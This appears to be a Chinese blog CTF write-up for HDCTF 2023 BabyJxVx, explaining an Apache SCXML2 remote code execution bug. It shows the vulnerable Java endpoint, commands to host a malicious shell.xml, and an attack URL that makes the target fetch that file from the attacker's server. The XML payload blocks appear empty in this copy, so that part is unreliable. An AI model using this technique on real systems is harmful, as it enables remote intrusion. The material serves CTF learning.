• Apache SCXML2 RCE漏洞



    前言

    在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

    源码利用

    public String Flag(@RequestParam(required = true) String filename) {
            SCXMLExecutor executor = new SCXMLExecutor();
    
            try {
                if (check(filename)) {
                    SCXML scxml = SCXMLReader.read(filename);
                    executor.setStateMachine(scxml);
                    executor.go();
                    return "Revenge to me!";
                }
    
                System.out.println("nonono");
            } catch (Exception var4) {
                System.out.println(var4);
            }
    
            return "revenge?";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

    上传恶意xml文件

    构造payload

    shell.xml源码

    
    
        
            
                
            
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
    • :定义了一个状态,它是最终状态,它的 id 属性为 run。
    • :定义了一个事件,在退出状态时触发
    • : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

    除此之外还有很多构造的

     
    
    	
    		 
    			
    		
    	
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    
    
        
            
                
            
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    
    
        
        	
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    
    
        
        	 
        		
        	
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    
    
        
        	
        		
        	
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    搭建Apache服务器

    首先我们得在本地搭建服务器,这里我以kali为例
    依次执行以下命令

    sudo apt-get update
    
    sudo apt-get install apache2
    
    sudo service apache2 start    #启动服务
    
    • 1
    • 2
    • 3
    • 4
    • 5

    然后我们在浏览器访问http://ip
    在这里插入图片描述
    然后我们将写好的xml文件mv到该根目录下

    mv /home/kali/shell.xml /var/www/html/
    
    • 1

    上传成功后我们开启临时文件服务器,在根目录执行下面命令

    python3 -m http.server 8000
    
    • 1

    在这里插入图片描述
    访问8000端口,成功访问
    在这里插入图片描述

    远程RCE

    我们直接在题目处远程RCE,payload如下

    http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml
    
    • 1
  • 相关阅读:
    打印机项目需求
    ES报错1
    A_A02_001 CH340驱动安装
    虹科产品 | HK-ATTO 光纤通道卡利用FC-NVMe 提升全闪存存储阵列性能
    220v插座led指示灯维修
    Python开发环境及常用Web框架
    ubuntu 配置nacos开机启动
    【C#二开业务冠邑】通过界面查看数据来源
    文件改名:一键将文件名称改成跟目录名称一样
    c++ 获取当前时间(精确至秒、毫秒和微妙)
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134451789